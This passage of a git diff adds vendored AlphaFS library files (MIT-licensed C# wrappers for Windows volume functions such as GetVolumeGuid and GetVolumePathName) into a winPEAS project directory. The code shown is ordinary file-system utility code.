|
||||
/// <remarks>Use DriveFormat to determine what formatting a drive uses.</remarks>
|
||||
/// <param name="drivePath">
|
||||
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
|
||||
/// </param>
|
||||
/// <returns>The name of the file system on the specified drive or <c>null</c> on failure or if not available.</returns>
|
||||
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
|
||||
[SecurityCritical]
|
||||
public static string GetDriveFormat(string drivePath)
|
||||
{
|
||||
var fsName = new VolumeInfo(drivePath, true, true).FileSystemName;
|
||||
|
||||
return Utils.IsNullOrWhiteSpace(fsName) ? null : fsName;
|
||||
}
|
||||
}
|
||||
}
|
||||
44
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveNameForNtDeviceName.cs
vendored
Normal file
44
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveNameForNtDeviceName.cs
vendored
Normal file
@@ -0,0 +1,44 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Linq;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Gets the drive letter from an MS-DOS device name. For example: "\Device\HarddiskVolume2" returns "C:\".</summary>
|
||||
/// <param name="deviceName">An MS-DOS device name.</param>
|
||||
/// <returns>The drive letter from an MS-DOS device name.</returns>
|
||||
[SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Nt")]
|
||||
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nt")]
|
||||
public static string GetDriveNameForNtDeviceName(string deviceName)
|
||||
{
|
||||
return (from drive in Directory.EnumerateLogicalDrivesCore(false, false)
|
||||
|
||||
where drive.DosDeviceName.Equals(deviceName, StringComparison.OrdinalIgnoreCase)
|
||||
|
||||
select drive.Name).FirstOrDefault();
|
||||
}
|
||||
}
|
||||
}
|
||||
58
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetUniqueVolumeNameForPath.cs
vendored
Normal file
58
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetUniqueVolumeNameForPath.cs
vendored
Normal file
@@ -0,0 +1,58 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Get the unique volume name for the given path.</summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="volumePathName">
|
||||
/// A path string. Both absolute and relative file and directory names, for example "..", is acceptable in this path. If you specify a
|
||||
/// relative file or directory name without a volume qualifier, GetUniqueVolumeNameForPath returns the Drive letter of the current
|
||||
/// volume.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// <para>Returns the unique volume name in the form: "\\?\Volume{GUID}\",</para>
|
||||
/// <para>or <c>null</c> on error or if unavailable.</para>
|
||||
/// </returns>
|
||||
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
|
||||
[SecurityCritical]
|
||||
public static string GetUniqueVolumeNameForPath(string volumePathName)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumePathName))
|
||||
throw new ArgumentNullException("volumePathName");
|
||||
|
||||
try
|
||||
{
|
||||
return GetVolumeGuid(GetVolumePathName(volumePathName));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
42
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDeviceName.cs
vendored
Normal file
42
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDeviceName.cs
vendored
Normal file
@@ -0,0 +1,42 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Retrieves the Win32 Device name from the Volume name.</summary>
|
||||
/// <returns>The Win32 Device name from the Volume name, for example: "\Device\HarddiskVolume2", or <c>null</c> on error or if unavailable.</returns>
|
||||
/// <remarks>This is the same method as <see cref="Volume.QueryDosDevice"/>.</remarks>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <exception cref="FileNotFoundException"/>
|
||||
/// <param name="volumeName">Name of the Volume.</param>
|
||||
[SecurityCritical]
|
||||
public static string GetVolumeDeviceName(string volumeName)
|
||||
{
|
||||
return QueryDosDevice(volumeName);
|
||||
}
|
||||
}
|
||||
}
|
||||
56
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDisplayName.cs
vendored
Normal file
56
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDisplayName.cs
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Linq;
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Gets the shortest display name for the specified <paramref name="volumeName"/>.</summary>
|
||||
/// <remarks>This method basically returns the shortest string returned by <see cref="EnumerateVolumePathNames"/></remarks>
|
||||
/// <param name="volumeName">A volume <see cref="Guid"/> path: \\?\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\.</param>
|
||||
/// <returns>
|
||||
/// The shortest display name for the specified volume found, or <c>null</c> if no display names were found.
|
||||
/// </returns>
|
||||
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")]
|
||||
[SecurityCritical]
|
||||
public static string GetVolumeDisplayName(string volumeName)
|
||||
{
|
||||
string[] smallestMountPoint = { new string(Path.WildcardStarMatchAllChar, NativeMethods.MaxPathUnicode) };
|
||||
|
||||
try
|
||||
{
|
||||
foreach (var m in EnumerateVolumePathNames(volumeName).Where(m => !Utils.IsNullOrWhiteSpace(m) && m.Length < smallestMountPoint[0].Length))
|
||||
smallestMountPoint[0] = m;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
var result = smallestMountPoint[0][0] == Path.WildcardStarMatchAllChar ? null : smallestMountPoint[0];
|
||||
return Utils.IsNullOrWhiteSpace(result) ? null : result;
|
||||
}
|
||||
}
|
||||
}
|
||||
91
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuid.cs
vendored
Normal file
91
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuid.cs
vendored
Normal file
@@ -0,0 +1,91 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS]
|
||||
/// Retrieves a volume <see cref="Guid"/> path for the volume that is associated with the specified volume mount point (drive letter,
|
||||
/// volume GUID path, or mounted folder).
|
||||
/// </summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="volumeMountPoint">
|
||||
/// The path of a mounted folder (for example, "Y:\MountX\") or a drive letter (for example, "X:\").
|
||||
/// </param>
|
||||
/// <returns>The unique volume name of the form: "\\?\Volume{GUID}\".</returns>
|
||||
[SuppressMessage("Microsoft.Interoperability", "CA1404:CallGetLastErrorImmediatelyAfterPInvoke", Justification = "Marshal.GetLastWin32Error() is manipulated.")]
|
||||
[SecurityCritical]
|
||||
public static string GetVolumeGuid(string volumeMountPoint)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(volumeMountPoint))
|
||||
throw new ArgumentNullException("volumeMountPoint");
|
||||
|
||||
// The string must end with a trailing backslash ('\').
|
||||
volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck);
|
||||
|
||||
var volumeGuid = new StringBuilder(100);
|
||||
var uniqueName = new StringBuilder(100);
|
||||
|
||||
try
|
||||
{
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
// GetVolumeNameForVolumeMountPoint()
|
||||
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
|
||||
|
||||
return NativeMethods.GetVolumeNameForVolumeMountPoint(volumeMountPoint, volumeGuid, (uint)volumeGuid.Capacity)
|
||||
|
||||
// The string must end with a trailing backslash.
|
||||
? NativeMethods.GetVolumeNameForVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeGuid.ToString(), false), uniqueName, (uint)uniqueName.Capacity)
|
||||
? uniqueName.ToString()
|
||||
: null
|
||||
|
||||
: null;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
var lastError = (uint) Marshal.GetLastWin32Error();
|
||||
|
||||
switch (lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
// (1) When GetVolumeNameForVolumeMountPoint() succeeds, lastError is set to Win32Errors.ERROR_MORE_DATA.
|
||||
break;
|
||||
|
||||
default:
|
||||
// (2) When volumeMountPoint is a network drive mapping or UNC path, lastError is set to Win32Errors.ERROR_INVALID_PARAMETER.
|
||||
|
||||
// Throw IOException.
|
||||
NativeError.ThrowException(lastError, volumeMountPoint);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
47
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuidForNtDeviceName.cs
vendored
Normal file
47
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuidForNtDeviceName.cs
vendored
Normal file
@@ -0,0 +1,47 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Linq;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS]
|
||||
/// Tranlates DosDevicePath to a Volume GUID. For example: "\Device\HarddiskVolumeX\path\filename.ext" can translate to: "\path\
|
||||
/// filename.ext" or: "\\?\Volume{GUID}\path\filename.ext".
|
||||
/// </summary>
|
||||
/// <param name="dosDevice">A DosDevicePath, for example: \Device\HarddiskVolumeX\path\filename.ext.</param>
|
||||
/// <returns>A translated dos path.</returns>
|
||||
[SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Nt")]
|
||||
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nt")]
|
||||
public static string GetVolumeGuidForNtDeviceName(string dosDevice)
|
||||
{
|
||||
return (from drive in Directory.EnumerateLogicalDrivesCore(false, false)
|
||||
|
||||
where drive.DosDeviceName.Equals(dosDevice, StringComparison.OrdinalIgnoreCase)
|
||||
|
||||
select drive.VolumeInfo.Guid).FirstOrDefault();
|
||||
}
|
||||
}
|
||||
}
|
||||
48
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeInfo.cs
vendored
Normal file
48
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeInfo.cs
vendored
Normal file
@@ -0,0 +1,48 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Security;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>
|
||||
/// <param name="volumePath">A path that contains the root directory.</param>
|
||||
/// <returns>A <see cref="VolumeInfo"/> instance describing the volume associatied with the specified root directory.</returns>
|
||||
[SecurityCritical]
|
||||
public static VolumeInfo GetVolumeInfo(string volumePath)
|
||||
{
|
||||
return new VolumeInfo(volumePath, true, false);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>
|
||||
/// <param name="volumeHandle">An instance to a <see cref="SafeFileHandle"/> handle.</param>
|
||||
/// <returns>A <see cref="VolumeInfo"/> instance describing the volume associatied with the specified root directory.</returns>
|
||||
[SecurityCritical]
|
||||
public static VolumeInfo GetVolumeInfo(SafeFileHandle volumeHandle)
|
||||
{
|
||||
return new VolumeInfo(volumeHandle, true, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
81
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumePathName.cs
vendored
Normal file
81
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumePathName.cs
vendored
Normal file
@@ -0,0 +1,81 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Retrieves the volume mount point where the specified path is mounted.</summary>
|
||||
/// <exception cref="ArgumentNullException"/>
|
||||
/// <param name="path">The path to the volume, for example: "C:\Windows".</param>
|
||||
/// <returns>
|
||||
/// <para>Returns the nearest volume root path for a given directory.</para>
|
||||
/// <para>The volume path name, for example: "C:\Windows" returns: "C:\".</para>
|
||||
/// </returns>
|
||||
[SecurityCritical]
|
||||
public static string GetVolumePathName(string path)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(path))
|
||||
throw new ArgumentNullException("path");
|
||||
|
||||
|
||||
using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))
|
||||
{
|
||||
var volumeRootPath = new StringBuilder(NativeMethods.MaxPathUnicode / 32);
|
||||
var pathLp = Path.GetFullPathCore(null, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck);
|
||||
|
||||
|
||||
// GetVolumePathName()
|
||||
// 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.
|
||||
|
||||
var success = NativeMethods.GetVolumePathName(pathLp, volumeRootPath, (uint) volumeRootPath.Capacity);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (success)
|
||||
return Path.GetRegularPathCore(volumeRootPath.ToString(), GetFullPathOptions.None, false);
|
||||
|
||||
|
||||
switch ((uint) lastError)
|
||||
{
|
||||
// Don't throw exception on these errors.
|
||||
case Win32Errors.ERROR_NO_MORE_FILES:
|
||||
case Win32Errors.ERROR_INVALID_PARAMETER:
|
||||
case Win32Errors.ERROR_INVALID_NAME:
|
||||
break;
|
||||
|
||||
default:
|
||||
NativeError.ThrowException(lastError, path);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
// Return original path.
|
||||
return path;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
39
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsReady.cs
vendored
Normal file
39
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsReady.cs
vendored
Normal file
@@ -0,0 +1,39 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System.Security;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
public static partial class Volume
|
||||
{
|
||||
/// <summary>[AlphaFS] Gets a value indicating whether a drive is ready.</summary>
|
||||
/// <param name="drivePath">
|
||||
/// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\".
|
||||
/// </param>
|
||||
/// <returns><c>true</c> if <paramref name="drivePath"/> is ready; otherwise, <c>false</c>.</returns>
|
||||
[SecurityCritical]
|
||||
public static bool IsReady(string drivePath)
|
||||
{
|
||||
return File.ExistsCore(null, true, drivePath, PathFormat.FullPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
50
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsSameVolume.cs
vendored
Normal file
50
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsSameVolume.cs
vendored
Normal file
@@ -0,0 +1,50 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
